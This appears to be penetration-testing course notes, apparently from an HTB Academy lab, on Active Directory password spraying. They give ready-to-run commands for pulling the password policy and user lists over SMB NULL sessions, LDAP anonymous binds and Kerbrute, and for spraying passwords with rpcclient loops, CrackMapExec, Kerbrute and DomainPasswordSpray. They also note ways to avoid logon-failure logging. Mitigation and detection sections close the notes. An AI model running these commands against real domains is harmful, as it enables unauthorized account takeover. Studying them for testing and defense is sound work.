Password Spraying

If we fail to crack the hash.

Getting The Password Policy

We can try spraying password with caution so we don't lock-out accounts. If we can somehow get the password policy it will help us understand how we should go about password spraying.

With valid domain credentials, the password policy can be obtained remotely using tools such as CrackMapExec or rpcclient. For example:

crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol

And without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind on a Domain Controller. SMB NULL sessions allow an unauthenticated attacker to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. For enumeration, we can use tools such as enum4linux, CrackMapExec, rpcclient, etc.

We can use rpcclient to check a Domain Controller for SMB NULL session access. For example:

rpcclient -U "" -N 172.16.5.5

Once connected, we can issue an RPC command such as querydominfo to obtain information about the domain and confirm NULL session access. And for password policy we can use getdompwinfo.

We can also use enum4linux to get password policy:

enum4linux -P 172.16.5.5

We can also use enum4linux-ng which is written in python and has added features like color codes and ability to output it in YAML or JSON:

enum4linux-ng -P 172.16.5.5 -oA ilfreight

We can also try to connect to the null session from Windows:

net use \\DC01\ipc$ "" /u:""

Lets see some common errors while authenticating:

  • error 1331: account is disabled.

  • error 1326: password is incorrect.

  • error 1909: account locked-out (password policy)

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. We still see this configuration from time to time as an admin may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such as windapsearch.py, ldapsearch, ad-ldapdomaindump.py, etc., to pull the password policy.

If we can authenticate to the domain from a Windows host, we can use built-in Windows binaries such as net.exe to retrieve the password policy. Or we can use PowerView:

Get-DomainPolicy

If password complexity is enabled, it means that a user must choose a password with 3/4 of the following: an uppercase letter, lowercase letter, number, special character.

This is the default password policy and many organization never change it:

Policy
Default Value

Enforce password history

24 days

Maximum password age

42 days

Minimum password age

1 day

Minimum password length

7

Password must meet complexity requirements

Enabled

Store passwords using reversible encryption

Disabled

Account lockout duration

Not set

Account lockout threshold

0

Reset account lockout counter after

Not set

Creating User Name List

Our first step will be to create a username list for password spraying. There are multiple ways to enumerate for usernames such as:

  • By leveraging an SMB NULL session to retrieve a complete list of domain users from the domain controller

  • Utilizing an LDAP anonymous bind to query LDAP anonymously and pull down the domain user list

  • Using a tool such as Kerbrute to validate users utilizing a word list from a source such as the statistically-likely-usernames GitHub repo, or gathered by using a tool such as linkedin2username to create a list of potentially valid users

  • Using a set of credentials from a Linux or Windows attack system either provided by our client or obtained through another means such as LLMNR/NBT-NS response poisoning using Responder or even a successful password spray using a smaller wordlist.

  • If we have credentials for a domain user or SYSTEM access we can just query the AD for this information. Or we can use CrackMapExec.

  • Use LinkedIn or email harvesting.

We can use enum4linux to leverage both SMB NULL sessions and LDAP anonymous binds to get us the username list using:

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

We can also use crackmapexec leveraging SMB NULL session

crackmapexec smb 172.16.5.5 --users

Now to leverage LDAP anonymous bind to get usernames we can use ldapsearch using search filters:

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

We can also use windapsearch which is easier:

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

If we have no access at all from our position in the internal network, we can use Kerbrute to enumerate valid AD accounts for password spraying. This tool leverages Kerberos Pre-Authentication. This method does not generate Windows event ID 4625: An account failed to log on, or a logon failure which is often monitored for. The tool sends TGT requests to the domain controller without Kerberos Pre-Authentication to perform username enumeration. If the KDC responds with the error PRINCIPAL UNKNOWN, the username is invalid. Whenever the KDC prompts for Kerberos Pre-Authentication, this signals that the username exists, and the tool will mark it as valid.

Note: Using Kerbrute for username enumeration will generate event ID 4768: A Kerberos authentication ticket (TGT) was requested. This will only be triggered if Kerberos event logging is enabled via Group Policy.

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users

Next, if we do have credentials we can use crackmapexec to get usernames:

sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users

Let's get into Password Spraying!

From Linux:

We can do it using rpcclient by running it in a loop. The valid password will have "Authority Name" so we can grep for the word Authority:

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

We can also use Kerbrute for example with password Welcome1:

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

We can also use crackmapexec and look for [+] for a valid login:

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

From Windows:

From a foothold on a domain-joined Windows host, the DomainPasswordSpray tool is highly effective. If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out. So we got the usernames covered.

There are several options available to us with the tool. Since the host is domain-joined, we will skip the -UserList flag and let the tool generate a list for us. We'll supply the Password flag and one single password and then use the -OutFile flag to write our output to a file for later use.

PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

Mitigations

Technique
Description

Multi-factor Authentication

Multi-factor authentication can greatly reduce the risk of password spraying attacks. Many types of multi-factor authentication exist, such as push notifications to a mobile device, a rotating One Time Password (OTP) such as Google Authenticator, RSA key, or text message confirmations. While this may prevent an attacker from gaining access to an account, certain multi-factor implementations still disclose if the username/password combination is valid. It may be possible to reuse this credential against other exposed services or applications. It is important to implement multi-factor solutions with all external portals.

Restricting Access

It is often possible to log into applications with any domain user account, even if the user does not need to access it as part of their role. In line with the principle of least privilege, access to the application should be restricted to those who require it.

Reducing Impact of Successful Exploitation

A quick win is to ensure that privileged users have a separate account for any administrative activities. Application-specific permission levels should also be implemented if possible. Network segmentation is also recommended because if an attacker is isolated to a compromised subnet, this may slow down or entirely stop lateral movement and further compromise.

Password Hygiene

Educating users on selecting difficult to guess passwords such as passphrases can significantly reduce the efficacy of a password spraying attack. Also, using a password filter to restrict common dictionary words, names of months and seasons, and variations on the company's name will make it quite difficult for an attacker to choose a valid password for spraying attempts.

Note: It is vital to ensure that your domain password lockout policy doesn’t increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period.

Detection

Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL.

In the Domain Controller’s security log, many instances of event ID 4625: An account failed to log on over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID 4771: Kerberos pre-authentication failed, which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This post details research around detecting password spraying using Windows Security Event Logging.

Last updated

Was this helpful?